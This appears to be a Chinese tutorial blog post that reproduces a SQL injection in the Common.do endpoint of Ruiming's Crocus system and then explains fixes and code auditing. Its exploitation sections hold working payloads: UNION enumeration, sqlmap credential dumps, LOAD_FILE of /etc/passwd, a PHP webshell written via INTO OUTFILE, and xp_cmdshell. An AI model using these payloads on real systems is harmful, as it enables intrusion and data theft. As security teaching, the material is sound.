从锐明Crocus漏洞复现,深入解析SQL注入原理与Java Web安全实践
1. 项目概述与背景
最近在整理一些历史漏洞的复现笔记,翻到了锐明技术Crocus系统的一个老漏洞。这个漏洞编号是CNVD-2021-17394,核心问题出在一个名为Common.do的接口上,存在SQL注入风险。虽然是个老洞,但它的成因和利用方式非常典型,对于理解Web应用安全、特别是Java Web框架下的SQL注入问题,依然有很好的学习价值。很多初入安全领域的朋友,一提到SQL注入可能就想到' or 1=1 --,但实际在企业级应用里,漏洞点往往藏在更深、更隐蔽的接口里,这个Common.do就是一个很好的例子。
简单来说,锐明技术的Crocus系统是一个综合性的管理平台,而Common.do这个接口,从名字就能猜到,很可能是一个处理通用请求的“万能”接口,比如执行一些公共的查询、更新操作。问题就出在,这个接口对用户传入的参数过滤不严,直接将用户输入拼接到了SQL语句中,导致了注入。复现这个漏洞,不仅能让我们掌握一种特定漏洞的利用方法,更能深入理解“参数化查询”为什么是铁律,以及如何在代码审计中快速定位这类通用接口的风险点。
2. 漏洞原理深度解析
2.1 漏洞点定位:Common.do接口
在Java Web开发中,以.do结尾的URL通常对应着Struts等MVC框架的Action。Common.do这个名字暗示它是一个“通用”的Action,可能用于处理多种不同类型的请求,其具体功能由传入的参数(如method、type)来决定。这种设计在快速开发中很常见,但也带来了巨大的安全隐患:开发者容易在这样一个“集大成”的接口中,疏忽对每个分支、每个参数的严格校验。
漏洞的核心在于,攻击者可以通过HTTP请求向Common.do接口传递恶意参数。后端代码在处理时,很可能采用了类似下面的危险模式:
String userInput = request.getParameter("queryCondition"); String sql = "SELECT * FROM some_table WHERE condition = '" + userInput + "'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql);这里,userInput直接来自用户请求,未经任何有效过滤或转义,就被拼接进了SQL字符串。如果攻击者输入' OR '1'='1,最终的SQL语句就会变成SELECT * FROM some_table WHERE condition = '' OR '1'='1',从而绕过了条件限制,泄露全部数据。
2.2 SQL注入的危害层级
理解这个漏洞的危害,不能只停留在“可以拖库”的层面。结合Crocus系统作为管理平台的属性,其危害可以分几个层级来看:
- 数据泄露:这是最直接的危害。通过注入,攻击者可以读取数据库中的敏感信息,包括管理员账号密码(可能是哈希值)、用户个人信息、系统配置、日志等。
- 权限提升:在某些情况下,通过联合查询(UNION SELECT)或堆叠查询(Stacked Queries,取决于数据库和驱动支持),攻击者可能执行更新(UPDATE)或插入(INSERT)语句,从而修改其他用户权限、创建新的管理员账户。
- 文件系统读写:如果数据库用户权限足够高(例如MySQL中的
FILE权限),并且数据库配置允许,攻击者可以利用SELECT ... INTO OUTFILE或LOAD_FILE()函数,进行文件读写操作,从而实现写入Webshell或读取服务器敏感文件(如/etc/passwd)。 - 命令执行:这是最高级别的危害。在某些极端配置下(如SQL Server的
xp_cmdshell被启用),成功的SQL注入可能直接导致操作系统命令执行,完全控制服务器。
对于Crocus系统而言,由于是内部管理系统,一旦被渗透,攻击者获取的往往是整个业务网络的后台权限,危害性极大。
注意:在实际漏洞复现和测试中,必须严格控制在授权范围内进行,通常使用自己搭建的测试环境(虚拟机或Docker容器)。任何对未授权系统的测试都是非法行为。
3. 复现环境搭建与准备
3.1 环境选择与搭建
为了安全、可重复地复现这个漏洞,我们首选在隔离环境中进行。有两种主流方案:
方案一:使用漏洞靶场或历史版本系统理想情况是能找到当时存在漏洞的Crocus系统安装包,在虚拟机中安装。但由于商业软件的历史版本不易获取,更实际的做法是利用公开的漏洞靶场环境,或者寻找功能、代码结构相似的测试系统进行原理性复现。这要求我们对漏洞原理有足够深的理解,能够举一反三。
方案二:自制模拟环境(推荐)对于学习目的,我强烈建议自己搭建一个模拟环境。这样你能完全控制代码,一步步跟踪漏洞触发流程。我们可以快速构建一个简单的Java Web项目:
- 技术栈:使用Spring Boot(简化配置) + JdbcTemplate(模拟旧式JDBC操作)。
- 创建漏洞接口:创建一个
CommonController,里面有一个do方法,故意使用字符串拼接的方式构造SQL。 - 数据库:使用内嵌的H2数据库或MySQL,创建一张有测试数据的表。
这样做的好处是,你不仅能看到漏洞现象,还能在IDE里设置断点,一步步跟踪参数传递、SQL拼接和执行的全过程,理解会深刻得多。
3.2 工具准备清单
工欲善其事,必先利其器。复现SQL注入需要以下几类工具:
代理与抓包工具:
- Burp Suite Community/Professional:必备。用于拦截、查看、修改和重放HTTP/HTTPS请求。它的Repeater模块是手动测试注入点的神器。
- OWASP ZAP:另一个强大的开源代理工具,自动化程度较高,适合初步扫描。
漏洞探测与利用工具:
- sqlmap:自动化SQL注入检测和利用工具。在手动确认存在注入点后,可以用它来快速获取数据库信息、数据甚至执行命令。但切记,学习阶段一定要先手动尝试,理解原理后再用工具。
- 浏览器开发者工具(F12):用于快速查看页面元素、网络请求和修改前端参数。
辅助工具:
- Postman:用于构造和发送复杂的HTTP请求。
- 编码/解码工具:Burp Suite的Decoder模块,或在线工具,用于对Payload进行URL编码、Base64编码等。
- 文本对比工具(如Beyond Compare):用于对比正常响应和异常响应,判断注入是否成功。
3.3 目标信息搜集
在复现前,即使是在自己的测试环境,也需要进行“侦察”:
- 确定入口点:找到调用
Common.do的前端页面或功能模块。可能是某个查询列表的下拉框、搜索框,或者通过抓包分析Ajax请求发现。 - 分析请求格式:用Burp拦截一个正常的
Common.do请求。重点关注:- 请求方法:是GET还是POST?
- 参数名:除了
method、type,还有哪些参数被传递?哪个参数的值被后端用于数据库查询? - 参数格式:参数值是普通文本,还是JSON、XML等结构化数据?
- Session/Cookie:请求是否需要有效的会话标识?
4. 手动漏洞探测与利用流程
自动化工具很快,但手动探测能让你真正“感受”到漏洞的存在。下面我们模拟一次完整的手动探测过程。
4.1 初步探测与注入点确认
假设我们通过抓包,发现了一个向/Crocus/Common.do发送的POST请求,参数如下:
method=queryData&type=user&id=123&name=test我们的怀疑对象是id和name参数。首先进行最基本的真值/假值测试:
- 原始请求:发送
id=123,记录服务器返回的结果(例如,返回了ID为123的用户信息)。 - 真值测试:修改
id=123' AND '1'='1。这相当于在原有条件后附加一个永真条件。如果页面正常返回了ID为123的用户信息,说明单引号被闭合,且附加条件被执行。 - 假值测试:修改
id=123' AND '1'='2。这是一个永假条件。如果页面返回空结果、错误信息或与原始请求明显不同,进一步证实了注入点的存在。 - 错误触发:修改
id=123'(故意制造未闭合的单引号)。如果后端直接拼接SQL,这会导致语法错误,页面可能返回数据库的详细报错信息(如MySQL的“You have an error in your SQL syntax”),这不仅能确认注入,还可能泄露数据库类型。
实操心得:很多系统会对错误信息进行屏蔽,返回统一的错误页。此时,真值/假值测试导致的页面内容差异或响应时间差异就成为更可靠的判断依据。仔细对比两次返回的HTML长度、某个特定关键词的出现与否。
4.2 判断数据库类型
不同数据库的SQL语法和内置函数有差异。判断类型有助于构造精准的Payload。
- MySQL:尝试
id=123' AND sleep(5)--。如果页面响应延迟了大约5秒,很可能是MySQL。--是MySQL的单行注释。 - Microsoft SQL Server:尝试
id=123' WAITFOR DELAY '0:0:5'--。如果延迟,可能是MSSQL。 - Oracle:尝试
id=123' AND (SELECT COUNT(*) FROM all_users)=1--。或者使用dbms_pipe.receive_message函数制造延迟。 - PostgreSQL:尝试
id=123' AND pg_sleep(5)--。
对于Crocus系统,根据其技术栈,是MySQL或Oracle的可能性较大。我们可以通过报错信息或函数试探来确认。
4.3 利用Union查询获取数据
在确认注入点且判断出数据库类型后,我们可以尝试使用UNION SELECT来直接获取数据。这需要先确定原始查询语句返回的列数。
确定列数:使用
ORDER BY子句。- Payload:
id=123' ORDER BY 1--(正常) id=123' ORDER BY 5--(正常)id=123' ORDER BY 6--(报错或返回异常)- 这说明原始查询返回了5列。
- Payload:
确定显示位:找到在页面中可见的列。
- Payload:
id=-123' UNION SELECT 1,2,3,4,5-- - 注意把
id设为一个不存在的值(如-123),让前半部分查询无结果,从而页面显示的是我们Union查询的结果。观察页面,数字2、3、4可能被显示出来,这些就是我们可以替换为查询语句的“显示位”。
- Payload:
获取数据库信息:
- Payload:
id=-123' UNION SELECT 1, database(), user(), version(), 5-- - 这样,我们就能在页面的显示位上看到当前数据库名、当前用户、数据库版本等信息。
- Payload:
枚举表名和列名:
- MySQL:
- 查所有库:
UNION SELECT 1, schema_name, 3,4,5 FROM information_schema.schemata-- - 查当前库所有表:
UNION SELECT 1, table_name, 3,4,5 FROM information_schema.tables WHERE table_schema=database()-- - 查某表所有列:
UNION SELECT 1, column_name, 3,4,5 FROM information_schema.columns WHERE table_name='admin_user'--
- 查所有库:
- Oracle:
- 查当前用户所有表:
UNION SELECT 1, table_name, 3,4,5 FROM user_tables--
- 查当前用户所有表:
- MySQL:
4.4 盲注技术应用
如果页面没有显示位,也不返回具体错误信息,只有“真”和“假”两种状态(或响应时间不同),就需要用到盲注(Blind SQL Injection)。
- 布尔盲注:通过页面返回内容的差异(如“存在”或“不存在”)来逐位推断数据。
- 例如,猜测数据库名第一个字符:
id=123' AND substring(database(),1,1)='a'--。如果页面返回正常内容,说明第一个字符是‘a’,否则不是。通过脚本遍历,可以获取完整信息。
- 例如,猜测数据库名第一个字符:
- 时间盲注:通过构造条件,使SQL语句执行时间产生差异来判断。
- 例如:
id=123' AND IF(substring(database(),1,1)='a', sleep(5), 0)--。如果响应延迟5秒,说明第一个字符是‘a’。
- 例如:
注意事项:盲注是一个极其耗时的过程,必须借助自动化脚本(如Python的
requests库)来完成。手动进行盲注几乎是不可能的。这也是为什么在实战中,一旦确认存在基于时间的盲注,通常会直接使用sqlmap等工具。
5. 自动化工具辅助利用与深度利用
在手动验证了漏洞存在并理解了原理后,我们可以使用sqlmap来提升效率,并探索更深层次的利用。
5.1 使用sqlmap进行自动化探测
假设我们已经确认http://test-target/Crocus/Common.do的id参数存在注入,且是Cookie鉴权。
# 基础探测 sqlmap -u "http://test-target/Crocus/Common.do?method=queryData&type=user&id=123" --cookie="JSESSIONID=xxx" --batch # 指定参数和数据库类型(如果已知) sqlmap -u "http://test-target/Crocus/Common.do" --data="method=queryData&type=user&id=123" --cookie="JSESSIONID=xxx" --dbms=mysql --batch # 获取所有数据库名 sqlmap -u "http://test-target/Crocus/Common.do" --data="method=queryData&type=user&id=123" --cookie="JSESSIONID=xxx" --dbs # 获取当前数据库的所有表 sqlmap -u "http://test-target/Crocus/Common.do" --data="method=queryData&type=user&id=123" --cookie="JSESSIONID=xxx" -D current_db --tables # 获取指定表(如admin)的所有列 sqlmap -u "http://test-target/Crocus/Common.do" --data="method=queryData&type=user&id=123" --cookie="JSESSIONID=xxx" -D current_db -T admin --columns # 导出指定表的数据 sqlmap -u "http://test-target/Crocus/Common.do" --data="method=queryData&type=user&id=123" --cookie="JSESSIONID=xxx" -D current_db -T admin -C username,password --dumpsqlmap的强大之处在于它能自动识别注入类型、数据库,并利用各种技术(联合查询、报错注入、布尔盲注、时间盲注)来获取数据。
5.2 深度利用:文件读写与命令执行
在特定条件下,SQL注入可以造成更严重的后果。
文件读取(MySQL): 如果数据库用户有FILE权限,并且secure_file_priv设置允许(非NULL),可以尝试读取服务器文件。
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3,4,5--通过sqlmap可以更方便地操作:
sqlmap ... --file-read="/etc/passwd"文件写入(Webshell上传): 这是获取服务器控制权的关键一步。需要知道Web应用的绝对路径。
' UNION SELECT 1, '<?php @eval($_POST[cmd]);?>', 3,4,5 INTO OUTFILE '/var/www/html/shell.php'--通过sqlmap:
sqlmap ... --file-write="/local/path/shell.php" --file-dest="/remote/path/shell.php"命令执行: 这通常需要非常特殊的条件。在MySQL中,可以通过User Defined Function (UDF)提权到命令执行,但过程复杂。在MSSQL中,如果xp_cmdshell被启用,则可以直接执行系统命令。
'; EXEC master..xp_cmdshell 'whoami'--重要警告:文件读写和命令执行是破坏性极强的操作,绝对禁止在非授权的任何环境中尝试。即使在授权的渗透测试中,也必须获得明确的书面许可,并谨慎评估对业务系统的影响。
6. 漏洞根因分析与修复方案
6.1 代码层面根因
漏洞的根本原因在于开发人员违反了“数据与代码分离”的原则。具体表现为:
- 字符串拼接:直接使用
+或StringBuilder将用户输入拼接到SQL语句中。 - 未使用参数化查询:没有使用
PreparedStatement,或者错误地使用了参数化查询(如将动态表名、列名作为参数,这是不支持的)。 - 过滤不彻底或可被绕过:可能使用了简单的字符串替换(如删除
select,union等关键词),但存在大小写、双写、编码绕过等问题。 - 错误信息泄露:将数据库的详细错误信息直接返回给前端,为攻击者提供了便利。
6.2 修复方案
修复必须从代码层面入手,并辅以架构和运维措施。
1. 强制使用参数化查询(预编译语句)这是最有效、最根本的解决方案。将SQL语句的骨架与数据分离。
// 错误示例 String sql = "SELECT * FROM users WHERE id = " + userId; Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(sql); // 正确示例 String sql = "SELECT * FROM users WHERE id = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setInt(1, userId); // 或 setString, setObject 等 ResultSet rs = pstmt.executeQuery();使用PreparedStatement,数据库会先编译SQL骨架,然后将参数作为纯数据处理,从根本上杜绝了注入。
2. 使用安全的ORM框架如MyBatis、Hibernate、Spring Data JPA等。但要注意,错误使用ORM框架同样会导致注入。
- MyBatis:务必使用
#{}语法,它会进行预编译。绝对禁止在动态SQL中(<if>,<choose>)使用${}进行字符串替换,除非你能百分百保证其值安全。<!-- 安全 --> <select id="queryUser" resultType="User"> SELECT * FROM users WHERE id = #{id} </select> <!-- 危险! --> <select id="queryUser" resultType="User"> SELECT * FROM users ORDER BY ${orderBy} </select> - Hibernate/JPA:使用
createQuery或@Query注解配合命名参数或位置参数。
3. 严格的输入验证与过滤在参数进入业务逻辑前进行验证。
- 白名单验证:对于类型明确的参数(如ID是数字),进行强制类型转换或正则匹配。
try { int id = Integer.parseInt(request.getParameter("id")); } catch (NumberFormatException e) { // 记录日志并返回错误 throw new InvalidParameterException("ID must be a number."); } - 对于必须动态拼接的场景(如动态排序字段):采用白名单机制。
private static final Set<String> ALLOWED_ORDER_FIELDS = Set.of("id", "name", "createTime"); String orderBy = request.getParameter("orderBy"); if (!ALLOWED_ORDER_FIELDS.contains(orderBy)) { orderBy = "id"; // 默认值 } String sql = "SELECT * FROM table ORDER BY " + orderBy; // 此时orderBy是安全的
4. 最小权限原则为数据库连接账户分配最小必要的权限。用于Web应用的数据库账号,通常只应拥有SELECT、INSERT、UPDATE、DELETE等业务必需权限,绝对不要授予DROP、FILE、GRANT OPTION等高危权限。
5. 防御性编程与安全配置
- 避免详细错误信息:在生产环境中,配置应用服务器和框架,不要将数据库堆栈跟踪信息直接返回给用户。应返回统一的、友好的错误页面。
- 使用Web应用防火墙(WAF):在应用前端部署WAF,可以拦截常见的SQL注入攻击模式,作为一道额外的防线。但不能依赖WAF来修复代码漏洞。
- 定期安全审计与代码扫描:将静态代码安全扫描(SAST)和动态应用安全测试(DAST)纳入开发流程,定期对代码和线上应用进行安全检查。
7. 从漏洞复现到代码审计的思维延伸
复现一个已知漏洞是学习的开始,真正的价值在于将这种经验转化为发现未知漏洞的能力,即代码审计。
7.1 如何定位类似“Common.do”的风险点
- 搜索通用入口:在代码中全局搜索
*.do、/api/、/service/等通用接口路径,以及Common、Base、Action、Dispatcher等通用类名或方法名。 - 关注参数传递:找到这些入口后,重点跟踪用户可控参数(来自
HttpServletRequest、@RequestParam、@PathVariable)的传递流程。看它们最终是否被传递到了执行SQL、OS命令、文件操作等危险函数的地方。 - 危险函数/方法识别:
- SQL相关:
Statement.execute*,JdbcTemplate.queryForObject(String sql, ...)(使用字符串拼接的)、String.format拼接SQL、MyBatis中的${}。 - 命令执行:
Runtime.exec(),ProcessBuilder.start(),GroovyShell.evaluate()。 - 文件操作:
new FileInputStream(userInputPath),FileOutputStream。
- SQL相关:
- 数据流分析:使用IDE的“查找用法”功能,追踪敏感参数从入口到最终使用的完整路径,检查中间是否有过滤、校验。
7.2 审计MyBatis XML文件中的注入风险
这是Java Web项目中SQL注入的重灾区。审计时重点关注:
${}的使用:全局搜索${,检查其使用的变量是否用户完全可控。动态表名、列名是常见的使用场景,必须结合白名单校验来审查。- 模糊查询中的
#{}:在LIKE语句中,正确的写法是LIKE CONCAT('%', #{keyword}, '%'),而不是LIKE '%${keyword}%'。 <if>标签内的内容:确保<if>标签的test条件中使用的${}参数也是安全的,或者最好使用#{}。
7.3 设计安全的通用接口
如果业务上确实需要一个“通用”接口,应该如何设计?
- 接口拆分:尽量避免真正的“万能”接口。根据业务域拆分成多个职责明确的接口。
- 严格的白名单控制:如果必须有一个
method参数来区分功能,那么后端必须维护一个method值与具体处理类的映射白名单。任何不在白名单内的请求都被拒绝。 - 参数Schema校验:对于每个
method,定义其合法的参数列表和类型。在入口处进行统一校验。 - 使用策略模式:将每个
method对应的处理逻辑封装成独立的策略类,通过工厂模式根据白名单获取。这样逻辑清晰,也便于安全控制。
复现Crocus系统的这个漏洞,就像解剖一个典型样本。它告诉我们,一个看似不起眼的通用接口,由于安全意识的缺失,可能成为整个系统的“阿喀琉斯之踵”。修复它不仅仅是在那个Common.do的代码里加上参数化查询,更需要建立起一套覆盖开发全流程的安全规范和代码审查机制,让每个开发者都对“不可信的用户输入”保持敬畏。在平时写代码时,每当你要拼接字符串去构造SQL、命令或文件路径时,都应该下意识地停顿一下,问问自己:这个输入,我真的能信任吗?
